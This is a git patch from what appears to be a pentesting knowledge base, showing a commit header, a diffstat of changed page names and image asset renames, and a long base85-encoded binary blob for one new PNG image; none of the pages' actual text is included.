From f6cfe9c765a902e5ed8fe904ab09ec3eae082318 Mon Sep 17 00:00:00 2001 From: CPol Date: Thu, 24 Jun 2021 23:53:47 +0000 Subject: [PATCH] GitBook: [master] 9 pages and 12 assets modified --- ...1).png => image (466) (2) (2) (2) (1).png} | Bin ...2).png => image (466) (2) (2) (2) (2).png} | Bin ...1).png => image (477) (2) (2) (2) (1).png} | Bin ...2).png => image (477) (2) (2) (2) (2).png} | Bin .gitbook/assets/image (507) (2).png | Bin 0 -> 35619 bytes .gitbook/assets/image (533).png | Bin 35619 -> 19264 bytes .../{image (535).png => image (536) (1).png} | Bin ctf-write-ups/README.md | 5 +- .../windows-forensics/README.md | 2 +- misc/basic-python/bypass-python-sandboxes.md | 161 ++++++++++++++---- .../ios-pentesting/README.md | 2 +- pentesting-web/open-redirect.md | 2 +- pentesting/pentesting-web/werkzeug.md | 2 +- phishing-methodology/detecting-phising.md | 4 +- phishing-methodology/phishing-documents.md | 2 +- shells/shells/full-ttys.md | 7 +- 16 files changed, 145 insertions(+), 42 deletions(-) rename .gitbook/assets/{image (466) (2) (2) (1).png => image (466) (2) (2) (2) (1).png} (100%) rename .gitbook/assets/{image (466) (2) (2).png => image (466) (2) (2) (2) (2).png} (100%) rename .gitbook/assets/{image (477) (2) (2) (1).png => image (477) (2) (2) (2) (1).png} (100%) rename .gitbook/assets/{image (477) (2) (2).png => image (477) (2) (2) (2) (2).png} (100%) create mode 100644 .gitbook/assets/image (507) (2).png rename .gitbook/assets/{image (535).png => image (536) (1).png} (100%) diff --git a/.gitbook/assets/image (466) (2) (2) (1).png b/.gitbook/assets/image (466) (2) (2) (2) (1).png similarity index 100% rename from .gitbook/assets/image (466) (2) (2) (1).png rename to .gitbook/assets/image (466) (2) (2) (2) (1).png diff --git a/.gitbook/assets/image (466) (2) (2).png b/.gitbook/assets/image (466) (2) (2) (2) (2).png similarity index 100% rename from .gitbook/assets/image (466) (2) (2).png rename to .gitbook/assets/image (466) (2) (2) (2) (2).png diff --git a/.gitbook/assets/image (477) (2) (2) (1).png b/.gitbook/assets/image (477) (2) (2) (2) (1).png similarity index 100% rename from .gitbook/assets/image (477) (2) (2) (1).png rename to .gitbook/assets/image (477) (2) (2) (2) (1).png diff --git a/.gitbook/assets/image (477) (2) (2).png b/.gitbook/assets/image (477) (2) (2) (2) (2).png similarity index 100% rename from .gitbook/assets/image (477) (2) (2).png rename to .gitbook/assets/image (477) (2) (2) (2) (2).png diff --git a/.gitbook/assets/image (507) (2).png b/.gitbook/assets/image (507) (2).png new file mode 100644 index 0000000000000000000000000000000000000000..0ee7ba44e5adb529b7ee0c60f81c1b8111f95ed4 GIT binary patch literal 35619 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 